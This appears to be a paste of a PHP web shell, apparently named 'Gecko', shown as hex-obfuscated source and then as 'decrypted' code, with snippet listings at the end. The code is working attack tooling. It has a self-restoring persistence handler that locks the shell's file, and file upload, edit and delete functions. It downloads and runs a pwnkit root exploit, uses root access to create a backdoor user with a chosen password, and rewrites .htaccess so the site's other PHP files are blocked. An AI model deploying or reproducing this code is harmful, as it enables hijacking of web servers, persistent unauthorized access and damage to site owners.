        ${${"\x47L\x4f\x42A\x4c\x53"}["\x77\x75p\x76r\x6c\x73yh\x6ak"]} = "\n\x3c?\x70\x68p\n@ini\x5f\x73e\x74(\x22\x6d\x61\x78\x5f\x65xecut\x69\x6f\x6e\x5ft\x69\x6d\x65\x22,\x20\x30);\n\x77\x68ile\x20(Tr\x75e){\n\x20  \x20\x69\x66 (\x21\x66ile\x5f\x65\x78\x69st\x73(\x22" . ${$yvfdddxa}[0]() . "\x22)){\n\x20   \x20\x20  \x6d\x6bdir(\"" . ${${"GL\x4f\x42\x41\x4c\x53"}["\x73nxj\x70\x64u\x6f\x6c"]}[0]() . "\x22);\n\x20\x20  }\n\x20\x20\x20 \x69f\x20(\x21fil\x65\x5f\x65xis\x74\x73(\x22" . ${${"\x47\x4cOB\x41LS"}["\x74\x6e\x65\x75\x76l"]}[0]() . "/" . ${${"G\x4c\x4f\x42A\x4c\x53"}["\x76h\x69\x6db\x75\x67\x74ql"]} . "\")){\n  \x20\x20  \x20 \$te\x78t =\x20\x62a\x73e6\x34_\x65ncod\x65(\x66ile_\x67e\x74\x5f\x63on\x74en\x74s(\"" . ${${"\x47L\x4fB\x41L\x53"}["n\x66\x6f\x64b\x64e\x6a"]} . "/.s\x65s\x73\x69\x6fns/." . base64_encode(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["sn\x78\x6apd\x75ol"]}[0]() . remove_dot(${${"\x47\x4c\x4fB\x41\x4cS"}["v\x68\x69\x6db\x75\x67\x74\x71\x6c"]}) . "-\x74ext-f\x69l\x65") . "\"));\n\x20\x20   \x20 \x20\x66ile\x5fp\x75t_c\x6f\x6et\x65n\x74\x73(\"" . ${$moysjvktwc}[0]() . "/" . ${$gekesqmsi} . "\", \x62as\x65\x364_deco\x64\x65(\$\x74ext));\n  \x20 }\n  \x20\x20\x69\x66\x20(g\x65\x63\x6bo\x5f\x70e\x72m(\"" . ${${"G\x4cOBA\x4c\x53"}["\x73\x6ex\x6ap\x64u\x6f\x6c"]}[0]() . "/" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76h\x69\x6db\x75\x67\x74\x71l"]} . "\x22) \x21=\x2004\x34\x34){\n\x20 \x20   \x20\x20chmo\x64(\"" . ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x71\x77wm\x78\x66\x6b\x65\x62\x71"]}[0]() . "/" . ${${"\x47L\x4f\x42A\x4c\x53"}["v\x62py\x63\x72\x78w"]} . "\",\x200\x34\x34\x34);\n \x20 \x20}\n}\n\nf\x75n\x63t\x69o\x6e\x20g\x65cko_p\x65rm(\$\x66l\x65n\x61m\x65){\n\x20\x20\x20\x20r\x65\x74\x75rn \x73\x75\x62st\x72(\x73pr\x69\x6e\x74f(\"\x25\x6f\x22, \x66\x69\x6ce\x70\x65\x72ms(\$\x66l\x65\x6eam\x65)), -4)\x3b\n}\n";
        ${${"G\x4c\x4f\x42\x41\x4cS"}["\x68g\x64\x6f\x72\x74c"]} = ${$yyhjqlb}[28](${${"\x47\x4cOB\x41L\x53"}["\x63\x64\x75\x7a\x65\x78\x66\x77c\x72y"]} . "/\x2esessio\x6es/\x2e" . base64_encode(${${"\x47\x4c\x4f\x42ALS"}["\x73nxjp\x64\x75\x6f\x6c"]}[0]() . remove_dot(${${"\x47\x4cO\x42ALS"}["vh\x69\x6db\x75\x67\x74ql"]}) . "-\x68\x61\x6edle\x72") . "", ${${"\x47\x4cO\x42AL\x53"}["\x76\x6f\x67x\x79s"]});
        if (${$cxichofrfpho}) {
            cmd("ph\x70\x20" . ${${"\x47LO\x42\x41LS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/.\x73\x65\x73\x73io\x6es/." . base64_encode(${${"\x47L\x4fB\x41\x4cS"}["snx\x6apduo\x6c"]}[0]() . remove_dot(${${"\x47\x4c\x4fBAL\x53"}["\x76\x68\x69\x6d\x62u\x67t\x71\x6c"]}) . "-\x68a\x6edl\x65r") . "\x20>\x20/\x64e\x76/\x6eul\x6c 2\x3e/d\x65v/\x6e\x75\x6c\x6c \x26");
        } else {
            failed();
        }
    }
}

Decrypted code:

if (isset($_GET["lockshell"])) {
    $utqmnnk = "curFile";
    $jknnjceqxq = "TmpNames";
    ${"GLOBALS"}["qmlakymll"] = "TmpNames";
    $isohmvpx = "curFile";
    $zvtyjjr = "hndlers";
    ${"GLOBALS"}["ytpsdrzovm"] = "TmpNames";
    $dbpnkmsfi = "fungsi";
    $bdoupnyyd = "TmpNames";
    ${"GLOBALS"}["utpijttxc"] = "curFile";
    ${"GLOBALS"}["pkbruqy"] = "TmpNames";
    ${"GLOBALS"}["jmvkaguf"] = "fungsi";
    ${"GLOBALS"}["xhlfiasj"] = "fungsi";
    $ynojlolnjc = "curFile";
    ${${"GLOBALS"}["vfuhqrqrce"]} = trim(basename($_SERVER["SCRIPT_FILENAME"]));
    ${${"GLOBALS"}["nfodbdej"]} = ${${"GLOBALS"}["snxjpduol"]}[31]();
    if (file_exists(${${"GLOBALS"}["pkbruqy"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$utqmnnk}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["xhlfiasj"]}[0]() . remove_dot(${$ynojlolnjc}) . "-text"))) {
        ${"GLOBALS"}["bmvgwnxbcio"] = "curFile";
        ${"GLOBALS"}["cmtlkbi"] = "curFile";
        ${"GLOBALS"}["awjjksll"] = "TmpNames";
        $btcufyjqga = "fungsi";
        cmd("rm -rf " . ${${"GLOBALS"}["awjjksll"]} . "/.sessions/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"GLOBALS"}["bmvgwnxbcio"]}) . "-text"));
        cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["cmtlkbi"]}) . "-handler"));
    }
    $enznadbms = "curFile";
    ${"GLOBALS"}["adfvwfpqx"] = "handler";
    $jadnlsj = "curFile";
    mkdir(${${"GLOBALS"}["qmlakymll"]} . "/.sessions");
    cmd("cp $curFile " . ${$jknnjceqxq} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-text"));
    $ehhejlebpl = "fungsi";
    chmod(${${"GLOBALS"}["vfuhqrqrce"]}, 0444);
    $lkbiqkuwg = "fungsi";
    ${${"GLOBALS"}["adfvwfpqx"]} = "\n\n@ini_set("max_execution_time\", 0);\nwhile (True){\n    if (!file_exists("" . __DIR__ . "\")){\n        mkdir("" . __DIR__ . "\");\n    }\n    if (!file_exists(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "")){\n        \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["ytpsdrzovm"]} . "/.sessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-text") . ""));\n        file_put_contents(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "", base64_decode(\$text));\n    }\n    if (gecko_perm(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\") != 0444){\n        chmod(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${$isohmvpx} . "", 0444);\n    }\n}\n\nfunction gecko_perm(\$flename){\n    return substr(sprintf("%o\", fileperms(\$flename)), -4);\n}\n";
    $nbxxth = "hndlers";
    ${$zvtyjjr} = ${${"GLOBALS"}["jmvkaguf"]}[28](${$bdoupnyyd} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["utpijttxc"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]});
    if (${$nbxxth}) {
        ${"GLOBALS"}["crgdxzpu"] = "fungsi";
        cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["crgdxzpu"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-handler") . " > /dev/null 2>/dev/null &");
    } else {
        failed();
    }
}
if (isset($_POST["gecko-up-submit"])) {
    $ovodrch = "fungsi";
    ${"GLOBALS"}["dblstedt"] = "tmpName";
    ${"GLOBALS"}["ykovngbq"] = "tmpName";
    ${${"GLOBALS"}["tskfcwedkdet"]} = $_FILES["gecko-upload"]["name"];
    ${${"GLOBALS"}["ykovngbq"]} = $_FILES["gecko-upload"]["tmp_name"];
    if (${$ovodrch}[29](${${"GLOBALS"}["dblstedt"]}, ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["tskfcwedkdet"]})) {
        success();
    } else {
        failed();
    }
}
if ($_GET["logout"] == True) {
    session_destroy();
    session_unset();
    success();
}
if (isset($_GET["destroy"])) {
    $xuucfxmk = "DOC_ROOT";
    ${$xuucfxmk} = $_SERVER["DOCUMENT_ROOT"];
    $sscohen = "CurrentFile";
    ${$sscohen} = trim(basename($_SERVER["SCRIPT_FILENAME"]));
    if (${${"GLOBALS"}["snxjpduol"]}[4](${${"GLOBALS"}["wiyrtp"]})) {
        ${"GLOBALS"}["wfwlsa"] = "DOC_ROOT";
        ${"GLOBALS"}["gxytrvgtc"] = "htaccess";
        ${${"GLOBALS"}["yyxroabywchy"]} = "\n<FilesMatch "\.(php|ph*|Ph*|PH*|pH*)\$">\n    Deny from all\n</FilesMatch>\n<FilesMatch \"^(" . ${${"GLOBALS"}["xpixzuvernku"]} . "|index.php|wp-config.php|wp-includes.php)\$">\n    Allow from all\n</FilesMatch>\n<FilesMatch \"\\.(jpg|png|gif|pdf|jpeg)\$\">\n    Allow from all\n</FilesMatch>";
        ${"GLOBALS"}["xbvdxflvcc"] = "put_htt";
        ${"GLOBALS"}["mgsqrjmx"] = "fungsi";
        $umjimuogf = "put_htt";
        ${${"GLOBALS"}["xbvdxflvcc"]} = ${${"GLOBALS"}["mgsqrjmx"]}[28](${${"GLOBALS"}["wfwlsa"]} . "/.htaccess", ${${"GLOBALS"}["gxytrvgtc"]});
        if (${$umjimuogf}) {
            success();
        } else {
            failed();
        }
    } else {
        failed();
    }
}
if (isset($_POST["save-editor"])) {
    ${"GLOBALS"}["qlquuf"] = "save";
    ${"GLOBALS"}["pcqiaeue"] = "save";
    ${"GLOBALS"}["helvhc"] = "fungsi";
    $blekadey = "fungsi";
    ${${"GLOBALS"}["pcqiaeue"]} = ${${"GLOBALS"}["helvhc"]}[28](${$blekadey}[0]() . "/" . unx($_GET["f"]), $_POST["code-editor"]);
    if (${${"GLOBALS"}["qlquuf"]}) {
        success();
    } else {
        failed();
    }
}
if (isset($_GET["adminer"])) {
    ${"GLOBALS"}["oichbkmzrll"] = "fungsi";
    ${"GLOBALS"}["jcvjybokqux"] = "URL";
    ${${"GLOBALS"}["jcvjybokqux"]} = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php";
    if (!${${"GLOBALS"}["oichbkmzrll"]}[3]("adminer.php")) {
        $cobwbfqqduim = "fungsi";
        $kvjkcnn = "URL";
        cmd("wget " . ${$kvjkcnn} . " -O adminer.php --quiet");
        echo "<meta http-equiv="refresh\" content="0;url=?d=" . hx(${$cobwbfqqduim}[0]()) . "\">";
    }
}
if ($_GET["terminal"] == "root") {
    ${"GLOBALS"}["rfwqmutpdy"] = "fungsi";
    if (!${${"GLOBALS"}["rfwqmutpdy"]}[3]("pwnkit")) {
        cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
        ${"GLOBALS"}["tnjtxafjygt"] = "fungsi";
        cmd("chmod +x pwnkit");
        echo cmd("./pwnkit id > .mad-root");
        echo "<meta http-equiv="refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["tnjtxafjygt"]}[0]()) . "&terminal=root">";
    }
}
if (isset($_POST["submit-action"])) {
    $dvyggfaifhal = "items";
    ${$dvyggfaifhal} = $_POST["check"];
    if ($_POST["gecko-select"] == "delete") {
        foreach (${${"GLOBALS"}["wsmiqmj"]} as ${${"GLOBALS"}["hcoospnffxw"]}) {
            ${"GLOBALS"}["gybkrqfv"] = "fd";
            $hflksuh = "fd";
            $blcjto = "fd";
            $hrlurq = "fungsi";
            ${"GLOBALS"}["zujcwhq"] = "repl";
            ${${"GLOBALS"}["gsulzioh"]} = str_replace("\", "/", ${$hrlurq}[0]());
            ${${"GLOBALS"}["gybkrqfv"]} = ${${"GLOBALS"}["zujcwhq"]} . "/" . ${${"GLOBALS"}["hcoospnffxw"]};
            if (is_dir(${$blcjto}) || is_file(${$hflksuh})) {
                $gnetoshcg = "fd";
                ${"GLOBALS"}["yzhtwsn"] = "fd";
                $ivhfruxuecjx = "rmdir";
                ${${"GLOBALS"}["nfnomta"]} = unlinkDir(${$gnetoshcg});
                ${${"GLOBALS"}["gpqxlxle"]} = ${${"GLOBALS"}["snxjpduol"]}[24](${${"GLOBALS"}["yzhtwsn"]});
                if (${$ivhfruxuecjx} || ${${"GLOBALS"}["gpqxlxle"]}) {
                    success();
                } else {
                    failed();
                }
            }
        }
    }
}
if (isset($_POST["submit"])) {
    if ($_POST["create_folder"] == true) {
        $ypqokprwpmng = "fungsi";
        $gdpguhc = "NamaFolder";
        ${"GLOBALS"}["nctpkcloa"] = "NamaFolder";
        ${${"GLOBALS"}["nctpkcloa"]} = ${$ypqokprwpmng}[12]($_POST["create_folder"]);
        if (${$gdpguhc}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["create_file"] == true) {
        $uvybcnskmbw = "namaFile";
        ${"GLOBALS"}["blvdfqohru"] = "fungsi";
        ${"GLOBALS"}["qrdxikgzs"] = "namaFile";
        ${${"GLOBALS"}["qrdxikgzs"]} = ${${"GLOBALS"}["blvdfqohru"]}[13]($_POST["create_file"]);
        if (${$uvybcnskmbw}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["renameFile"] == true) {
        $ydnfxcqunmh = "renameFile";
        ${$ydnfxcqunmh} = ${${"GLOBALS"}["snxjpduol"]}[15](unx($_GET["re"]), $_POST["renameFile"]);
        if (${${"GLOBALS"}["qhxnggsf"]}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["chFile"]) {
        $wgnsecqi = "chFiles";
        ${${"GLOBALS"}["ooftqvks"]} = ${${"GLOBALS"}["snxjpduol"]}[30](unx($_GET["ch"]), $_POST["chFile"]);
        if (${$wgnsecqi}) {
            success();
        } else {
            failed();
        }
    } else if (isset($_POST["add-username"]) && isset($_POST["add-password"])) {
        ${"GLOBALS"}["hxwkojkq"] = "fungsi";
        if (!${${"GLOBALS"}["hxwkojkq"]}[3]("pwnkit")) {
            cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
            cmd("chmod +x pwnkit");
            ${"GLOBALS"}["sqwlnasx"] = "fungsi";
            cmd("./pwnkit \"id\" > .mad-root");
            echo "<meta http-equiv="refresh" content=\"0;url=?d=" . hx(${${"GLOBALS"}["sqwlnasx"]}[0]()) . "&rooting=True">";
        } else if (${${"GLOBALS"}["snxjpduol"]}[3](".mad-root")) {
            $cbzwrut = "response";
            ${$cbzwrut} = ${${"GLOBALS"}["snxjpduol"]}[11](".mad-root");
            $eshdcuwg = "response";
            ${${"GLOBALS"}["ideydyre"]} = explode(" ", ${$eshdcuwg});
            if (${${"GLOBALS"}["ideydyre"]}[0] == "uid=0(root)") {
                $snjesqrgx = "username";
                ${${"GLOBALS"}["fqwhcuj"]} = $_POST["add-username"];
                ${"GLOBALS"}["wupnbhiku"] = "username";
                ${${"GLOBALS"}["ohmuswhkxx"]} = $_POST["add-password"];
                cmd("./pwnkit "useradd " . ${${"GLOBALS"}["wupnbhiku"]} . " ; echo -e "" . ${${"GLOBALS"}["ohmuswhkxx"]} . "\n" . ${${"GLOBALS"}["ohmuswhkxx"]} . "\" | passwd " . ${$snjesqrgx} . "\"");
            } else {
                echo "<meta http-equiv=\"refresh\" content="0;url=?d=" . hx(${${"GLOBALS"}["snxjpduol"]}[0]()) . "&adduser=failed">";
            }
        }
    } else if ($_POST["lockfile"] == true) {
        ${"GLOBALS"}["hgdortc"] = "hndlers";
        $cxichofrfpho = "hndlers";
        ${"GLOBALS"}["wupvrlsyhjk"] = "handler";
        $jjwvypro = "flesName";
        $moysjvktwc = "fungsi";
        ${"GLOBALS"}["tneuvl"] = "fungsi";
        $gnyihl = "flesName";
        ${"GLOBALS"}["dljidwsezi"] = "TmpNames";
        $gekesqmsi = "flesName";
        $wzsgwh = "flesName";
        $rsebcsqvk = "fungsi";
        ${"GLOBALS"}["cduzexfwcry"] = "TmpNames";
        $yyhjqlb = "fungsi";
        $yvfdddxa = "fungsi";
        ${$jjwvypro} = $_POST["lockfile"];
        ${${"GLOBALS"}["dljidwsezi"]} = ${${"GLOBALS"}["snxjpduol"]}[31]();
        $rzhnqvtsnc = "flesName";
        if (file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${$rsebcsqvk}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . remove_dot(${$wzsgwh}) . "-text")) {
            $rlgzkhpyjs = "fungsi";
            ${"GLOBALS"}["diqyijl"] = "TmpNames";
            $vdjkeffd = "fungsi";
            cmd("rm -rf " . ${${"GLOBALS"}["diqyijl"]} . "/.sessions/." . base64_encode(${$vdjkeffd}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-text-file"));
            cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${$rlgzkhpyjs}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler"));
        }
        mkdir(${${"GLOBALS"}["nfodbdej"]} . "/.sessions");
        ${"GLOBALS"}["vbpycrxw"] = "flesName";
        ${"GLOBALS"}["vqwwmxfkebq"] = "fungsi";
        cmd("cp $flesName " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$rzhnqvtsnc}) . "-text-file"));
        chmod(${$gnyihl}, 0444);
        ${${"GLOBALS"}["wupvrlsyhjk"]} = "\n\n@ini_set("max_execution_time", 0);\nwhile (True){\n    if (!file_exists("" . ${$yvfdddxa}[0]() . "")){\n        mkdir(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "");\n    }\n    if (!file_exists("" . ${${"GLOBALS"}["tneuvl"]}[0]() . "/" . ${${"GLOBALS"}["vhimbugtql"]} . "\")){\n        \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-text-file") . "\"));\n        file_put_contents(\"" . ${$moysjvktwc}[0]() . "/" . ${$gekesqmsi} . "\", base64_decode(\$text));\n    }\n    if (gecko_perm(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vhimbugtql"]} . "") != 0444){\n        chmod(\"" . ${${"GLOBALS"}["vqwwmxfkebq"]}[0]() . "/" . ${${"GLOBALS"}["vbpycrxw"]} . "\", 0444);\n    }\n}\n\nfunction gecko_perm(\$flename){\n    return substr(sprintf(\"%o", fileperms(\$flename)), -4);\n}\n";
        ${${"GLOBALS"}["hgdortc"]} = ${$yyhjqlb}[28](${${"GLOBALS"}["cduzexfwcry"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]});
        if (${$cxichofrfpho}) {
            cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler") . " > /dev/null 2>/dev/null &");
        } else {
            failed();
        }
    }
}

Recent submissions:

cmd("rm\x20-rf\x20" . ${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/... if (isset($_GET["lo\x63ks\x68\x65ll"])) { $utqmnnk = "c\x75rF\x69\x6c\x65"; $jkn... <?php session_start(); @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NU... function remove_dot($file) { ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ap\x66a\x69od\x77\x7... if (file_exists(${${"GLO\x42AL\x53"}["\x70k\x62\x72\x75\x71\x79"]} . "/.s\x65ss\x69ons/\x... if (isset($_GET["lo\x63ks\x68\x65ll"])) { $utqmnnk = "c\x75rF\x69\x6c\x65"; $jkn... ${${"G\x4c\x4f\x42A\x4c\x53"}["p\x6ao\x77\x70\x6c\x63\x6a"]} = str_replace("\\", "/", ${$x... echo "\n\x3c\x21D\x4fC\x54\x59\x50\x45\x20h\x74\x6dl>\n<h\x74ml\x20lang\x3d\x22\x65n\">\n\... $out = ''; try { if ($re) $in = $in . " 2>&1"; if (function_exists(... } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) { ob_s...